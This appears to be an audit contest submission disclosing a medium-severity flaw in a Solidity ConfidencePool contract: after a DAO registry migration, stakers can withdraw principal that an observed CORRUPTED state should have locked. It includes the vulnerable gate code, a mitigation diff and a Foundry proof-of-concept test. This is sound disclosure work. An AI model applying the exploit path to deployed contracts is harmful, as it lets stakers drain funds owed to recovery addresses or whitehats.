FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Terminal-only observation loses principal after DAO registry migration

Author Revealed upon completion

Affected: ConfidencePool.sol:288-301 · ConfidencePool.sol:784-799

Description

A pool that observes the registry directly in a terminal state seals only riskWindowEnd. withdraw() consults only riskWindowStart. After a legitimate BattleChainSafeHarborRegistry.setAttackRegistry migration, the fresh AttackRegistry returns NOT_DEPLOYED for the agreement until re-registration (AttackRegistry.sol:855-857; L882-884 documents NEW_DEPLOYMENT unreachable via the public API). In that transient state, withdraw() passes both halves of its gate and a staker exits full principal after terminal CORRUPTED was already locally observed.

// L293-300 — gate consults ONLY riskWindowStart
if (
riskWindowStart != 0
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) revert WithdrawsDisabled();
// L793-798 — terminal-first observation writes ONLY riskWindowEnd
if (riskWindowStart == 0 && _isActiveRiskState(state)) { _markRiskWindowStart(); }
if (riskWindowEnd == 0 && _isTerminalState(state)) { _markRiskWindowEnd(); }

Falsifies DESIGN.md §11: "A benign upstream state rewind cannot re-open withdraw: that is gated on the one-way riskWindowStart != 0 latch."

Risk

Likelihood: Requires a pool that saw no UNDER_ATTACK interaction plus a routine DAO registry migration. DESIGN §11 treats migration as expected (per-clone pinning is explicitly rejected because it "would brick every existing pool" on migration).

Impact: Principal that should stay committed to the CORRUPTED resolution exits to the staker. Aggregate loss up to totalEligibleStake; comes at the expense of either recoveryAddress or the good-faith whitehat.

Actor: Withdrawal permissionless. DAO acts via its documented onlyOwner migration entrypoint — in-model, not adversarial.

Recommended Mitigation

Make a terminal observation equally binding for the withdraw gate. The no-observed-risk bonus rule (§5) is unaffected — only riskWindowStart == 0 still routes bonus to recovery.

if (
riskWindowStart != 0
+ || riskWindowEnd != 0
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) revert WithdrawsDisabled();

Proof of Concept

Save as test/TerminalEndRewindWithdraw.t.sol and run forge test --match-contract TerminalEndRewindWithdrawTest -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
contract TerminalEndRewindWithdrawTest is BaseConfidencePoolTest {
function testTerminalObservationDoesNotSurviveRegistryMigration() external {
_stake(alice, 100 * ONE);
// Canonical CORRUPTED walk; no pool poll during UNDER_ATTACK.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
vm.warp(block.timestamp + 1 hours);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(block.timestamp + 3 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0);
assertGt(pool.riskWindowEnd(), 0);
// DAO migrates; fresh AttackRegistry -> agreement reads NOT_DEPLOYED.
MockAttackRegistry rewound = new MockAttackRegistry();
rewound.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
safeHarborRegistry.setAttackRegistry(address(rewound));
_withdraw(alice);
assertEq(token.balanceOf(alice), 100 * ONE);
assertEq(pool.eligibleStake(alice), 0);
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!